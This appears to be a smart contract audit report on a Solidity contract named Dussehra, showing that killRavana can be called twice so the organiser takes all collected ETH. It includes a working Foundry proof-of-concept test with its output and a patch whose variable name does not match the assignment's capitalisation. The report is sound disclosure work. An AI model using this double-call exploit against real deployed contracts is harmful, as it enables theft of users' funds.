Summary
Organiser/anybody can call killRavana twice, leaving no eth left for Ram as opposed to requirements.
Vulnerability Details
Organiser can call killRavana within given range (from unixtimestamp 1728691069 to 1728777669), once Ram is selected. As per docs,
But this function has no restriction to be called only once. If it's called twice, organiser will get 100% of collected eth, which is supposed to be 50% only.
POC
In the existing test suite, Add the following test
function test_OrganiserKillRavanaTwiceToGetAllEther() public participants {
vm.warp(1728777500 + 1);
vm.startPrank(organiser);
choosingRam.selectRamIfNotSelected();
uint256 totalEthBeforeKill = address(dussehra).balance;
uint256 organiserBalanceBefore = address(organiser).balance;
dussehra.killRavana();
dussehra.killRavana();
uint256 ethLeftForRama = address(dussehra).balance;
console.log("Eth in dussehra contract before killing ravana:", totalEthBeforeKill);
console.log("Eth left for Rama afer ravana kill:", ethLeftForRama);
console.log("Eth balance of organiser before killing ravana", organiserBalanceBefore);
console.log("Eth balance of Organiser:", address(organiser).balance - organiserBalanceBefore);
vm.stopPrank();
}
then run the following command forge test --mt test_OrganiserKillRavanaTwiceToGetAllEther() -vv , it will print following results in the terminal.
[⠊] Compiling...
[⠊] Compiling 48 files with Solc 0.8.20
[⠒] Solc 0.8.20 finished in 2.00s
Compiler run successful!
Ran 1 test for test/Dussehra.t.sol:CounterTest
[PASS] test_OrganiserKillRavanaTwiceToGetAllEther() (gas: 409721)
Logs:
Eth in dussehra contract before killing ravana: 2000000000000000000
Eth left for Rama afer ravana kill: 0
Eth balance of organiser before killing ravana 0
Eth balance of Organiser: 2000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.13ms (1.12ms CPU time)
Ran 1 test suite in 157.64ms (2.13ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Loss of eth for user selected as Ram
Tools Used
Manual Review, Foundry
Recommendations
Add a if statement to revert kill Ravana has been called already. As given below -
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {ChoosingRam} from "./ChoosingRam.sol";
import {RamNFT} from "./RamNFT.sol";
+ error Dussehra_RavanIsKilledAlready();
contract Dussehra {
using Address for address payable;
/// existing codebase
function killRavana() public RamIsSelected {
if (block.timestamp < 1728691069) {
revert Dussehra__MahuratIsNotStart();
}
if (block.timestamp > 1728777669) {
revert Dussehra__MahuratIsFinished();
}
+ if(isRavanKilled) {
+ revert Dussehra_RavanIsKilledAlready();
+ }
IsRavanKilled = true;
uint256 totalAmountByThePeople = WantToBeLikeRam.length * entranceFee;
totalAmountGivenToRam = (totalAmountByThePeople * 50) / 100;
(bool success, ) = organiser.call{value: totalAmountGivenToRam}("");
require(success, "Failed to send money to organiser");
}
